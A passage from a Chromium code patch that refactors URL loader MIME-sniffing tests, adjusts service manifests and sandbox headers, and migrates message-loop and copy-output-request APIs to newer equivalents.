       ADD_FAILURE() << "File not found: " << file.value();
       return;
     }
 
-    std::string data =
-        ReadData(client.response_body().value(), file_contents.size());
-    CHECK_EQ(data, file_contents);
+    Load(test_server()->GetURL(std::string("/") + path));
+    EXPECT_EQ(expected, ReadData(expected.size()));
   }
 
-  std::string LoadAndReturnMimeType(bool sniff, const std::string& path) {
-    TestURLLoaderClient client;
-    GURL url = test_server()->GetURL(path);
-    int32_t options =
-        sniff ? mojom::kURLLoadOptionSniffMimeType : mojom::kURLLoadOptionNone;
-    Load(url, &client, options);
-    return client.response_head().mime_type;
+  void LoadPackets(std::list<std::string> packets) {
+    net::URLRequestFilter::GetInstance()->AddUrlInterceptor(
+        MultipleWritesInterceptor::GetURL(),
+        std::unique_ptr<net::URLRequestInterceptor>(
+            new MultipleWritesInterceptor(std::move(packets))));
+    Load(MultipleWritesInterceptor::GetURL());
+    net::URLRequestFilter::GetInstance()->ClearHandlers();
+  }
+
+  // If |second| is empty, then it's ignored.
+  void LoadPacketsAndVerifyContents(const std::string& first,
+                                    const std::string& second) {
+    EXPECT_FALSE(first.empty());
+    std::list<std::string> packets;
+    packets.push_back(first);
+    if (!second.empty())
+      packets.push_back(second);
+    LoadPackets(std::move(packets));
+    std::string expected = first + second;
+    CHECK_EQ(expected, ReadData(expected.size()));
   }
 
   net::EmbeddedTestServer* test_server() { return &test_server_; }
   NetworkContext* context() { return context_.get(); }
+  TestURLLoaderClient* client() { return &client_; }
   void DestroyContext() { context_.reset(); }
 
+  // Configure how Load() works.
+  void set_sniff() {
+    DCHECK(!ran_);
+    sniff_ = true;
+  }
+  void set_send_ssl() {
+    DCHECK(!ran_);
+    send_ssl_ = true;
+  }
+
+  // Convenience methods after calling Load();
+  std::string mime_type() const {
+    DCHECK(ran_);
+    return client_.response_head().mime_type;
+  }
+  const base::Optional<net::SSLInfo>& ssl_info() const {
+    DCHECK(ran_);
+    return client_.ssl_info();
+  }
+
+  std::string ReadData(size_t size) {
+    DCHECK(ran_);
+    MojoHandle consumer = client()->response_body().value();
+    MojoResult rv =
+        mojo::Wait(mojo::Handle(consumer), MOJO_HANDLE_SIGNAL_READABLE);
+    if (!size) {
+      CHECK_EQ(rv, MOJO_RESULT_FAILED_PRECONDITION);
+      return std::string();
+    }
+    CHECK_EQ(rv, MOJO_RESULT_OK);
+    std::vector<char> buffer(size);
+    uint32_t num_bytes = static_cast<uint32_t>(size);
+    CHECK_EQ(MojoReadData(consumer, buffer.data(), &num_bytes,
+                          MOJO_READ_DATA_FLAG_ALL_OR_NONE),
+             MOJO_RESULT_OK);
+    CHECK_EQ(num_bytes, static_cast<uint32_t>(size));
+
+    return std::string(buffer.data(), buffer.size());
+  }
+
  private:
   base::test::ScopedTaskEnvironment scoped_task_environment_;
   net::EmbeddedTestServer test_server_;
   std::unique_ptr<NetworkContext> context_;
+  bool sniff_ = false;
+  bool send_ssl_ = false;
+  // Used to ensure that methods are called either before or after a request is
+  // made, since the test fixture is meant to be used only once.
+  bool ran_ = false;
+  TestURLLoaderClient client_;
 };
 
 TEST_F(URLLoaderImplTest, Basic) {
@@ -147,14 +262,13 @@
       base::FilePath(FILE_PATH_LITERAL("content/test/data")));
   ASSERT_TRUE(https_server.Start());
 
-  TestURLLoaderClient client;
   GURL url = https_server.GetURL("/simple_page.html");
-  Load(url, &client, mojom::kURLLoadOptionSendSSLInfo);
-  ASSERT_TRUE(!!client.ssl_info());
-  ASSERT_TRUE(!!client.ssl_info()->cert);
+  set_send_ssl();
+  Load(url);
+  ASSERT_TRUE(!!ssl_info());
+  ASSERT_TRUE(!!ssl_info()->cert);
 
-  ASSERT_TRUE(
-      https_server.GetCertificate()->Equals(client.ssl_info()->cert.get()));
+  ASSERT_TRUE(https_server.GetCertificate()->Equals(ssl_info()->cert.get()));
 }
 
 TEST_F(URLLoaderImplTest, SSLSentOnlyWhenRequested) {
@@ -163,14 +277,12 @@
       base::FilePath(FILE_PATH_LITERAL("content/test/data")));
   ASSERT_TRUE(https_server.Start());
 
-  TestURLLoaderClient client;
   GURL url = https_server.GetURL("/simple_page.html");
-  Load(url, &client, 0);
-  ASSERT_FALSE(!!client.ssl_info());
+  Load(url);
+  ASSERT_FALSE(!!ssl_info());
 }
 
 TEST_F(URLLoaderImplTest, DestroyContextWithLiveRequest) {
-  TestURLLoaderClient client;
   GURL url = test_server()->GetURL("/hung-after-headers");
   ResourceRequest request =
       CreateResourceRequest("GET", RESOURCE_TYPE_MAIN_FRAME, url);
@@ -180,13 +292,13 @@
   // don't hold on to a pointer to it.
   base::WeakPtr<URLLoaderImpl> loader_impl =
       (new URLLoaderImpl(context(), mojo::MakeRequest(&loader), 0, request,
-                         client.CreateInterfacePtr(),
+                         client()->CreateInterfacePtr(),
                          TRAFFIC_ANNOTATION_FOR_TESTS))
           ->GetWeakPtrForTests();
 
-  client.RunUntilResponseReceived();
-  EXPECT_TRUE(client.has_received_response());
-  EXPECT_FALSE(client.has_received_completion());
+  client()->RunUntilResponseReceived();
+  EXPECT_TRUE(client()->has_received_response());
+  EXPECT_FALSE(client()->has_received_completion());
 
   // Request hasn't completed, so the loader should not have been destroyed.
   EXPECT_TRUE(loader_impl);
@@ -196,44 +308,87 @@
   DestroyContext();
   EXPECT_FALSE(loader_impl);
 
-  client.RunUntilConnectionError();
-  EXPECT_FALSE(client.has_received_completion());
-  EXPECT_EQ(0u, client.download_data_length());
+  client()->RunUntilConnectionError();
+  EXPECT_FALSE(client()->has_received_completion());
+  EXPECT_EQ(0u, client()->download_data_length());
 }
 
 TEST_F(URLLoaderImplTest, DoNotSniffUnlessSpecified) {
-  std::string mime_type =
-      LoadAndReturnMimeType(false, "/content-sniffer-test0.html");
-  ASSERT_TRUE(mime_type.empty());
+  Load(test_server()->GetURL("/content-sniffer-test0.html"));
+  ASSERT_TRUE(mime_type().empty());
 }
 
 TEST_F(URLLoaderImplTest, SniffMimeType) {
-  std::string mime_type =
-      LoadAndReturnMimeType(true, "/content-sniffer-test0.html");
-  ASSERT_EQ(std::string("text/html"), mime_type);
+  set_sniff();
+  Load(test_server()->GetURL("/content-sniffer-test0.html"));
+  ASSERT_EQ(std::string("text/html"), mime_type());
 }
 
 TEST_F(URLLoaderImplTest, RespectNoSniff) {
-  std::string mime_type = LoadAndReturnMimeType(true, "/nosniff-test.html");
-  ASSERT_TRUE(mime_type.empty());
+  set_sniff();
+  Load(test_server()->GetURL("/nosniff-test.html"));
+  ASSERT_TRUE(mime_type().empty());
 }
 
 TEST_F(URLLoaderImplTest, DoNotSniffHTMLFromTextPlain) {
-  std::string mime_type =
-      LoadAndReturnMimeType(true, "/content-sniffer-test1.html");
-  ASSERT_EQ(std::string("text/plain"), mime_type);
+  set_sniff();
+  Load(test_server()->GetURL("/content-sniffer-test1.html"));
+  ASSERT_EQ(std::string("text/plain"), mime_type());
 }
 
 TEST_F(URLLoaderImplTest, DoNotSniffHTMLFromImageGIF) {
-  std::string mime_type =
-      LoadAndReturnMimeType(true, "/content-sniffer-test2.html");
-  ASSERT_EQ(std::string("image/gif"), mime_type);
+  set_sniff();
+  Load(test_server()->GetURL("/content-sniffer-test2.html"));
+  ASSERT_EQ(std::string("image/gif"), mime_type());
 }
 
 TEST_F(URLLoaderImplTest, CantSniffEmptyHtml) {
-  std::string mime_type =
-      LoadAndReturnMimeType(true, "/content-sniffer-test4.html");
-  ASSERT_TRUE(mime_type.empty());
+  set_sniff();
+  Load(test_server()->GetURL("/content-sniffer-test4.html"));
+  ASSERT_TRUE(mime_type().empty());
+}
+
+// Tests the case where the first read doesn't have enough data to figure out
+// the right mime type. The second read would have enough data even though the
+// total bytes is still smaller than net::kMaxBytesToSniff.
+TEST_F(URLLoaderImplTest, FirstReadNotEnoughToSniff1) {
+  set_sniff();
+  std::string first(500, 'a');
+  std::string second(std::string(100, 'b'));
+  second[10] = 0;
+  EXPECT_LE(first.size() + second.size(),
+            static_cast<uint32_t>(net::kMaxBytesToSniff));
+  LoadPacketsAndVerifyContents(first, second);
+  ASSERT_EQ(std::string("application/octet-stream"), mime_type());
+}
+
+// Like above, except that the total byte count is > kMaxBytesToSniff.
+TEST_F(URLLoaderImplTest, FirstReadNotEnoughToSniff2) {
+  set_sniff();
+  std::string first(500, 'a');
+  std::string second(std::string(1000, 'b'));
+  second[10] = 0;
+  EXPECT_GE(first.size() + second.size(),
+            static_cast<uint32_t>(net::kMaxBytesToSniff));
+  LoadPacketsAndVerifyContents(first, second);
+  ASSERT_EQ(std::string("application/octet-stream"), mime_type());
+}
+
+// Tests that even if the first and only read is smaller than the minimum number
+// of bytes needed to sniff, the loader works correctly and returns the data.
+TEST_F(URLLoaderImplTest, LoneReadNotEnoughToSniff) {
+  set_sniff();
+  std::string first(net::kMaxBytesToSniff - 100, 'a');
+  LoadPacketsAndVerifyContents(first, std::string());
+  ASSERT_EQ(std::string("text/plain"), mime_type());
+}
+
+// Tests the simple case where the first read is enough to sniff.
+TEST_F(URLLoaderImplTest, FirstReadIsEnoughToSniff) {
+  set_sniff();
+  std::string first(net::kMaxBytesToSniff + 100, 'a');
+  LoadPacketsAndVerifyContents(first, std::string());
+  ASSERT_EQ(std::string("text/plain"), mime_type());
 }
 
 }  // namespace content
diff --git a/content/public/app/mojo/content_browser_manifest.json b/content/public/app/mojo/content_browser_manifest.json
index 3f9eb20a2..98df541 100644
--- a/content/public/app/mojo/content_browser_manifest.json
+++ b/content/public/app/mojo/content_browser_manifest.json
@@ -25,7 +25,7 @@
           "blink::mojom::OffscreenCanvasProvider",
           "blink::mojom::PermissionService",
           "blink::mojom::WebSocket",
-	  "cc::mojom::SharedBitmapAllocationNotifier",
+          "cc::mojom::SharedBitmapAllocationNotifier",
           "content::mojom::FieldTrialRecorder",
           "content::mojom::FrameSinkProvider",
           "content::mojom::MediaStreamDispatcherHost",
@@ -76,7 +76,12 @@
         "content_renderer": [ "browser" ],
         "content_utility": [ "browser" ],
         "data_decoder": [ "image_decoder" ],
-        "device": [ "device:generic_sensor", "device:nfc", "device:wake_lock" ],
+        "device": [
+          "device:generic_sensor",
+          "device:nfc",
+          "device:vibration",
+          "device:wake_lock"
+        ],
         "file": [ "file:filesystem", "file:leveldb" ],
         "media": [ "media:media" ],
         "network": [
@@ -121,10 +126,11 @@
           "content::mojom::BrowserTarget",
 
           "content::mojom::RendererAudioOutputStreamFactory",
-          "device::mojom::VRService",
           "device::mojom::Geolocation",
           "device::mojom::NFC",
           "device::mojom::SensorProvider",
+          "device::mojom::VibrationManager",
+          "device::mojom::VRService",
           "device::mojom::WakeLock",
           "device::usb::DeviceManager",
           "discardable_memory::mojom::DiscardableSharedMemoryManager",
diff --git a/content/public/app/mojo/content_renderer_manifest.json b/content/public/app/mojo/content_renderer_manifest.json
index 24821a14..de31d75f 100644
--- a/content/public/app/mojo/content_renderer_manifest.json
+++ b/content/public/app/mojo/content_renderer_manifest.json
@@ -25,8 +25,7 @@
           "device:power_monitor",
           "device:screen_orientation",
           "device:sensors",
-          "device:time_zone_monitor",
-          "device:vibration"
+          "device:time_zone_monitor"
         ],
         "ui": [
           "discardable_memory",
diff --git a/content/public/child/child_process_sandbox_support_linux.h b/content/public/child/child_process_sandbox_support_linux.h
index 55a7ba7..5f0577c 100644
--- a/content/public/child/child_process_sandbox_support_linux.h
+++ b/content/public/child/child_process_sandbox_support_linux.h
@@ -14,16 +14,6 @@
 
 namespace content {
 
-// Returns a file descriptor for a shared memory segment.  The
-// executable flag indicates that the caller intends to use mprotect
-// with PROT_EXEC after making a mapping, but not that it intends to
-// mmap with PROT_EXEC in the first place.  (Some systems, such as
-// ChromeOS, disallow PROT_EXEC in mmap on /dev/shm files but do allow
-// PROT_EXEC in mprotect on mappings from such files.  This function
-// can yield an object that has that constraint.)
-CONTENT_EXPORT int MakeSharedMemorySegmentViaIPC(size_t length,
-                                                 bool executable);
-
 // Return a read-only file descriptor to the font which best matches the given
 // properties or -1 on failure.
 //   charset: specifies the language(s) that the font must cover. See
diff --git a/content/public/common/common_param_traits_macros.h b/content/public/common/common_param_traits_macros.h
index 95656cd4..c33653c 100644
--- a/content/public/common/common_param_traits_macros.h
+++ b/content/public/common/common_param_traits_macros.h
@@ -242,6 +242,7 @@
   IPC_STRUCT_TRAITS_MEMBER(video_fullscreen_detection_enabled)
   IPC_STRUCT_TRAITS_MEMBER(embedded_media_experience_enabled)
   IPC_STRUCT_TRAITS_MEMBER(page_popups_suppressed)
+  IPC_STRUCT_TRAITS_MEMBER(css_hex_alpha_color_enabled)
 #endif  // defined(OS_ANDROID)
   IPC_STRUCT_TRAITS_MEMBER(default_minimum_page_scale_factor)
   IPC_STRUCT_TRAITS_MEMBER(default_maximum_page_scale_factor)
diff --git a/content/public/common/common_sandbox_support_linux.h b/content/public/common/common_sandbox_support_linux.h
index b0105fa..b92d924 100644
--- a/content/public/common/common_sandbox_support_linux.h
+++ b/content/public/common/common_sandbox_support_linux.h
@@ -2,8 +2,8 @@
 // Use of this source code is governed by a BSD-style license that can be
 // found in the LICENSE file.
 
-#ifndef CONTENT_PUBLIC_COMMON_PROCESS_SANDBOX_SUPPORT_LINUX_H_
-#define CONTENT_PUBLIC_COMMON_PROCESS_SANDBOX_SUPPORT_LINUX_H_
+#ifndef CONTENT_PUBLIC_COMMON_COMMON_SANDBOX_SUPPORT_LINUX_H_
+#define CONTENT_PUBLIC_COMMON_COMMON_SANDBOX_SUPPORT_LINUX_H_
 
 #include <stddef.h>
 #include <stdint.h>
@@ -29,6 +29,16 @@
                                  uint8_t* output,
                                  size_t* output_length);
 
+// Returns a file descriptor for a shared memory segment.  The
+// executable flag indicates that the caller intends to use mprotect
+// with PROT_EXEC after making a mapping, but not that it intends to
+// mmap with PROT_EXEC in the first place.  (Some systems, such as
+// ChromeOS, disallow PROT_EXEC in mmap on /dev/shm files but do allow
+// PROT_EXEC in mprotect on mappings from such files.  This function
+// can yield an object that has that constraint.)
+CONTENT_EXPORT int MakeSharedMemorySegmentViaIPC(size_t length,
+                                                 bool executable);
+
 };  // namespace content
 
-#endif  // CONTENT_PUBLIC_COMMON_PROCESS_SANDBOX_SUPPORT_LINUX_H_
+#endif  // CONTENT_PUBLIC_COMMON_COMMON_SANDBOX_SUPPORT_LINUX_H_
diff --git a/content/public/common/content_features.cc b/content/public/common/content_features.cc
index 617c16a..a638175 100644
--- a/content/public/common/content_features.cc
+++ b/content/public/common/content_features.cc
@@ -71,12 +71,6 @@
 const base::Feature kCompositorTouchAction{"CompositorTouchAction",
                                            base::FEATURE_DISABLED_BY_DEFAULT};
 
-// Speculatively pre-evaluate Javascript which will likely use document.write to
-// load an external script. The feature extracts the written markup and sends it
-// to the preload scanner.
-const base::Feature kDocumentWriteEvaluator{"DocumentWriteEvaluator",
-                                            base::FEATURE_DISABLED_BY_DEFAULT};
-
 // Throttle tasks in Blink background timer queues based on CPU budgets
 // for the background tab. Bug: https://crbug.com/639852.
 const base::Feature kExpensiveBackgroundTimerThrottling{
diff --git a/content/public/common/content_features.h b/content/public/common/content_features.h
index 11a5b184..cce3cd0a 100644
--- a/content/public/common/content_features.h
+++ b/content/public/common/content_features.h
@@ -29,7 +29,6 @@
 CONTENT_EXPORT extern const base::Feature kCompositeOpaqueFixedPosition;
 CONTENT_EXPORT extern const base::Feature kCompositeOpaqueScrollers;
 CONTENT_EXPORT extern const base::Feature kCompositorTouchAction;
-CONTENT_EXPORT extern const base::Feature kDocumentWriteEvaluator;
 CONTENT_EXPORT extern const base::Feature kExpensiveBackgroundTimerThrottling;
 CONTENT_EXPORT extern const base::Feature kFeaturePolicy;
 CONTENT_EXPORT extern const base::Feature kFetchKeepaliveTimeoutSetting;
diff --git a/content/public/common/web_preferences.cc b/content/public/common/web_preferences.cc
index 767e91cc..75d585a1 100644
--- a/content/public/common/web_preferences.cc
+++ b/content/public/common/web_preferences.cc
@@ -205,6 +205,7 @@
       video_rotate_to_fullscreen_enabled(false),
       video_fullscreen_detection_enabled(false),
       embedded_media_experience_enabled(false),
+      css_hex_alpha_color_enabled(true),
 #endif  // defined(OS_ANDROID)
 #if defined(OS_ANDROID)
       default_minimum_page_scale_factor(0.25f),
diff --git a/content/public/common/web_preferences.h b/content/public/common/web_preferences.h
index 5012952..fd8d144 100644
--- a/content/public/common/web_preferences.h
+++ b/content/public/common/web_preferences.h
@@ -252,6 +252,9 @@
   // If enabled, video fullscreen detection will be enabled.
   bool video_fullscreen_detection_enabled;
   bool embedded_media_experience_enabled;
+  // Enable 8 (#RRGGBBAA) and 4 (#RGBA) value hex colors in CSS Android
+  // WebView quirk (http://crbug.com/618472).
+  bool css_hex_alpha_color_enabled;
 #else  // defined(OS_ANDROID)
 #endif  // defined(OS_ANDROID)
 
diff --git a/content/public/renderer/content_renderer_client.cc b/content/public/renderer/content_renderer_client.cc
index 62e2a4e..69c4894 100644
--- a/content/public/renderer/content_renderer_client.cc
+++ b/content/public/renderer/content_renderer_client.cc
@@ -38,8 +38,7 @@
   return nullptr;
 }
 
-bool ContentRendererClient::HasErrorPage(int http_status_code,
-                                         std::string* error_domain) {
+bool ContentRendererClient::HasErrorPage(int http_status_code) {
   return false;
 }
 
diff --git a/content/public/renderer/content_renderer_client.h b/content/public/renderer/content_renderer_client.h
index 915dc35..5e652df 100644
--- a/content/public/renderer/content_renderer_client.h
+++ b/content/public/renderer/content_renderer_client.h
@@ -113,11 +113,8 @@
       const GURL& original_url);
 
   // Returns true if the embedder has an error page to show for the given http
-  // status code. If so |error_domain| should be set to according to WebURLError
-  // and the embedder's GetNavigationErrorHtml will be called afterwards to get
-  // the error html.
-  virtual bool HasErrorPage(int http_status_code,
-                            std::string* error_domain);
+  // status code.
+  virtual bool HasErrorPage(int http_status_code);
 
   // Returns true if the embedder prefers not to show an error page for a failed
   // navigation to |url| in |render_frame|.
diff --git a/content/public/test/download_test_observer.cc b/content/public/test/download_test_observer.cc
index 7c694d5..5f05fd0e 100644
--- a/content/public/test/download_test_observer.cc
+++ b/content/public/test/download_test_observer.cc
@@ -9,6 +9,7 @@
 #include "base/bind.h"
 #include "base/logging.h"
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "base/stl_util.h"
 #include "base/threading/sequenced_worker_pool.h"
 #include "content/public/browser/browser_thread.h"
@@ -50,7 +51,7 @@
   if (filter_.Run(item_))
     event_seen_ = true;
   if (waiting_ && event_seen_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void DownloadUpdatedObserver::OnDownloadDestroyed(DownloadItem* item) {
@@ -58,7 +59,7 @@
   item_->RemoveObserver(this);
   item_ = NULL;
   if (waiting_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 DownloadTestObserver::DownloadTestObserver(
@@ -217,7 +218,7 @@
 
 void DownloadTestObserver::SignalIfFinished() {
   if (waiting_ && IsFinished())
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void DownloadTestObserver::AcceptDangerousDownload(uint32_t download_id) {
@@ -443,7 +444,7 @@
   DCHECK_EQ(1u, called_back_count_);
 
   if (waiting_)
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 const DownloadUrlParameters::OnStartedCallback
diff --git a/content/public/test/javascript_test_observer.cc b/content/public/test/javascript_test_observer.cc
index 50aaf04..4e47c1e 100644
--- a/content/public/test/javascript_test_observer.cc
+++ b/content/public/test/javascript_test_observer.cc
@@ -5,6 +5,7 @@
 #include "content/public/test/javascript_test_observer.h"
 
 #include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "content/public/browser/notification_types.h"
 #include "content/public/browser/render_view_host.h"
 #include "content/public/browser/web_contents.h"
@@ -85,7 +86,7 @@
   finished_ = true;
   if (running_) {
     running_ = false;
-    base::MessageLoopForUI::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 }
 
diff --git a/content/public/test/test_renderer_host.cc b/content/public/test/test_renderer_host.cc
index 2b67c29..a1029932 100644
--- a/content/public/test/test_renderer_host.cc
+++ b/content/public/test/test_renderer_host.cc
@@ -172,7 +172,8 @@
 // RenderViewHostTestHarness --------------------------------------------------
 
 RenderViewHostTestHarness::RenderViewHostTestHarness()
-    : thread_bundle_options_(TestBrowserThreadBundle::DEFAULT) {}
+    : use_scoped_task_environment_(true),
+      thread_bundle_options_(TestBrowserThreadBundle::DEFAULT) {}
 
 RenderViewHostTestHarness::~RenderViewHostTestHarness() {
 }
@@ -266,6 +267,14 @@
   // MaterialDesignController in unit_tests suite.
   ui::test::MaterialDesignControllerTestAPI::Uninitialize();
   ui::MaterialDesignController::Initialize();
+
+  if (use_scoped_task_environment_) {
+    // The TestBrowserThreadBundle is compatible with an existing
+    // ScopedTaskEnvironment if the main message loop is of UI type.
+    scoped_task_environment_ =
+        base::MakeUnique<base::test::ScopedTaskEnvironment>(
+            base::test::ScopedTaskEnvironment::MainThreadType::UI);
+  }
   thread_bundle_.reset(new TestBrowserThreadBundle(thread_bundle_options_));
 
   rvh_test_enabler_.reset(new RenderViewHostTestEnabler);
@@ -328,6 +337,7 @@
                             FROM_HERE,
                             browser_context_.release());
   thread_bundle_.reset();
+  scoped_task_environment_.reset();
 }
 
 BrowserContext* RenderViewHostTestHarness::CreateBrowserContext() {
diff --git a/content/public/test/test_renderer_host.h b/content/public/test/test_renderer_host.h
index edbee84..27f82a79 100644
--- a/content/public/test/test_renderer_host.h
+++ b/content/public/test/test_renderer_host.h
@@ -11,6 +11,7 @@
 
 #include "base/macros.h"
 #include "base/message_loop/message_loop.h"
+#include "base/test/scoped_task_environment.h"
 #include "build/build_config.h"
 #include "content/public/browser/render_frame_host.h"
 #include "content/public/browser/render_view_host.h"
@@ -281,6 +282,10 @@
     thread_bundle_options_ = options;
   }
 
+  base::test::ScopedTaskEnvironment* scoped_task_environment() {
+    return scoped_task_environment_.get();
+  }
+
   TestBrowserThreadBundle* thread_bundle() { return thread_bundle_.get(); }
 
 #if defined(USE_AURA)
@@ -291,6 +296,19 @@
   void SetRenderProcessHostFactory(RenderProcessHostFactory* factory);
 
  private:
+  friend class AudioRendererHostTest;
+
+  // DEPRECATED: New tests should not use this method.
+  // Multithreaded tests that have been ported to TaskScheduler must use a
+  // scoped task environment. Most legacy tests are compatible with a
+  // TestBrowserThreadBundle inside a scoped task environment. This method is
+  // for tests that specifically rely on TestBrowserThreadBundle in the absence
+  // of a scoped task environment.
+  void DisableScopedTaskEnvironment() { use_scoped_task_environment_ = false; }
+
+  bool use_scoped_task_environment_;
+  std::unique_ptr<base::test::ScopedTaskEnvironment> scoped_task_environment_;
+
   int thread_bundle_options_;
   std::unique_ptr<TestBrowserThreadBundle> thread_bundle_;
 
diff --git a/content/public/test/test_service.cc b/content/public/test/test_service.cc
index 2862cc47..d42ab2a 100644
--- a/content/public/test/test_service.cc
+++ b/content/public/test/test_service.cc
@@ -7,7 +7,7 @@
 #include <utility>
 
 #include "base/logging.h"
-#include "base/message_loop/message_loop.h"
+#include "base/run_loop.h"
 #include "services/service_manager/public/cpp/connector.h"
 
 namespace content {
@@ -37,7 +37,7 @@
 
 void TestService::DoSomething(DoSomethingCallback callback) {
   std::move(callback).Run();
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 void TestService::DoTerminateProcess(DoTerminateProcessCallback callback) {
diff --git a/content/public/test/test_utils.cc b/content/public/test/test_utils.cc
index cb8a3b0..121cf79 100644
--- a/content/public/test/test_utils.cc
+++ b/content/public/test/test_utils.cc
@@ -83,7 +83,7 @@
 void ScriptCallback::ResultCallback(const base::Value* result) {
   if (result)
     result_.reset(result->DeepCopy());
-  base::MessageLoop::current()->QuitWhenIdle();
+  base::RunLoop::QuitCurrentWhenIdleDeprecated();
 }
 
 // Monitors if any task is processed by the message loop.
diff --git a/content/renderer/child_frame_compositing_helper.cc b/content/renderer/child_frame_compositing_helper.cc
index fde1f53..73f163f7 100644
--- a/content/renderer/child_frame_compositing_helper.cc
+++ b/content/renderer/child_frame_compositing_helper.cc
@@ -10,11 +10,11 @@
 #include "cc/layers/picture_image_layer.h"
 #include "cc/layers/solid_color_layer.h"
 #include "cc/layers/surface_layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/paint/paint_image.h"
-#include "cc/resources/single_release_callback.h"
 #include "components/viz/common/gpu/context_provider.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/surfaces/sequence_surface_reference_factory.h"
 #include "content/child/thread_safe_sender.h"
 #include "content/common/browser_plugin/browser_plugin_messages.h"
diff --git a/content/renderer/device_sensors/device_motion_event_pump_unittest.cc b/content/renderer/device_sensors/device_motion_event_pump_unittest.cc
index a87462441..58f274c 100644
--- a/content/renderer/device_sensors/device_motion_event_pump_unittest.cc
+++ b/content/renderer/device_sensors/device_motion_event_pump_unittest.cc
@@ -76,7 +76,7 @@
     DeviceMotionEventPump::FireEvent();
     if (stop_on_fire_event_) {
       Stop();
-      base::MessageLoop::current()->QuitWhenIdle();
+      base::RunLoop::QuitCurrentWhenIdleDeprecated();
     }
   }
 
diff --git a/content/renderer/device_sensors/device_orientation_event_pump_unittest.cc b/content/renderer/device_sensors/device_orientation_event_pump_unittest.cc
index a2139512..90b551c 100644
--- a/content/renderer/device_sensors/device_orientation_event_pump_unittest.cc
+++ b/content/renderer/device_sensors/device_orientation_event_pump_unittest.cc
@@ -63,7 +63,7 @@
   void FireEvent() override {
     DeviceOrientationEventPump::FireEvent();
     Stop();
-    base::MessageLoop::current()->QuitWhenIdle();
+    base::RunLoop::QuitCurrentWhenIdleDeprecated();
   }
 
  private:
diff --git a/content/renderer/gpu/render_widget_compositor.cc b/content/renderer/gpu/render_widget_compositor.cc
index 8f8998e..93952a1 100644
--- a/content/renderer/gpu/render_widget_compositor.cc
+++ b/content/renderer/gpu/render_widget_compositor.cc
@@ -38,16 +38,16 @@
 #include "cc/debug/layer_tree_debug_state.h"
 #include "cc/input/layer_selection_bound.h"
 #include "cc/layers/layer.h"
-#include "cc/output/copy_output_request.h"
-#include "cc/output/copy_output_result.h"
 #include "cc/output/latency_info_swap_promise.h"
 #include "cc/output/swap_promise.h"
-#include "cc/resources/single_release_callback.h"
 #include "cc/trees/latency_info_swap_promise_monitor.h"
 #include "cc/trees/layer_tree_host.h"
 #include "cc/trees/layer_tree_mutator.h"
 #include "components/viz/common/frame_sinks/begin_frame_args.h"
 #include "components/viz/common/frame_sinks/begin_frame_source.h"
+#include "components/viz/common/quads/copy_output_request.h"
+#include "components/viz/common/quads/copy_output_result.h"
+#include "components/viz/common/quads/single_release_callback.h"
 #include "components/viz/common/switches.h"
 #include "content/common/content_switches_internal.h"
 #include "content/common/layer_tree_settings_factory.h"
@@ -964,7 +964,7 @@
 
 void CompositeAndReadbackAsyncCallback(
     blink::WebCompositeAndReadbackAsyncCallback* callback,
-    std::unique_ptr<cc::CopyOutputResult> result) {
+    std::unique_ptr<viz::CopyOutputResult> result) {
   if (result->HasBitmap()) {
     std::unique_ptr<SkBitmap> result_bitmap = result->TakeBitmap();
     callback->DidCompositeAndReadback(*result_bitmap);
@@ -1022,11 +1022,11 @@
   DCHECK(!layout_and_paint_async_callback_);
   scoped_refptr<base::SingleThreadTaskRunner> main_thread_task_runner =
       layer_tree_host_->GetTaskRunnerProvider()->MainThreadTaskRunner();
-  std::unique_ptr<cc::CopyOutputRequest> request =
-      cc::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
+  std::unique_ptr<viz::CopyOutputRequest> request =
+      viz::CopyOutputRequest::CreateBitmapRequest(base::BindOnce(
           [](blink::WebCompositeAndReadbackAsyncCallback* callback,
              scoped_refptr<base::SingleThreadTaskRunner> task_runner,
-             std::unique_ptr<cc::CopyOutputResult> result) {
+             std::unique_ptr<viz::CopyOutputResult> result) {
             task_runner->PostTask(FROM_HERE,
                                   base::Bind(&CompositeAndReadbackAsyncCallback,
                                              callback, base::Passed(&result)));
diff --git a/content/renderer/gpu/render_widget_compositor_delegate.h b/content/renderer/gpu/render_widget_compositor_delegate.h
index 8683cef1..256b083 100644
--- a/content/renderer/gpu/render_widget_compositor_delegate.h
+++ b/content/renderer/gpu/render_widget_compositor_delegate.h
@@ -12,7 +12,6 @@
 #include "content/common/content_export.h"
 
 namespace cc {
-class CopyOutputRequest;
 class LayerTreeFrameSink;
 class SwapPromise;
 }
@@ -21,6 +20,10 @@
 class Vector2dF;
 }
 
+namespace viz {
+class CopyOutputRequest;
+}
+
 namespace content {
 
 using LayerTreeFrameSinkCallback =
@@ -85,7 +88,7 @@
   // For use in layout test mode only, attempts to copy the full content of the
   // compositor.
   virtual std::unique_ptr<cc::SwapPromise> RequestCopyOfOutputForLayoutTest(
-      std::unique_ptr<cc::CopyOutputRequest> request) = 0;
+      std::unique_ptr<viz::CopyOutputRequest> request) = 0;
 
  protected:
   virtual ~RenderWidgetCompositorDelegate() {}
diff --git a/content/renderer/gpu/render_widget_compositor_unittest.cc b/content/renderer/gpu/render_widget_compositor_unittest.cc
index d752635..9c5fbdcc 100644
--- a/content/renderer/gpu/render_widget_compositor_unittest.cc
+++ b/content/renderer/gpu/render_widget_compositor_unittest.cc
@@ -15,12 +15,12 @@
 #include "base/threading/thread_task_runner_handle.h"
 #include "build/build_config.h"
 #include "cc/animation/animation_host.h"
-#include "cc/output/copy_output_request.h"
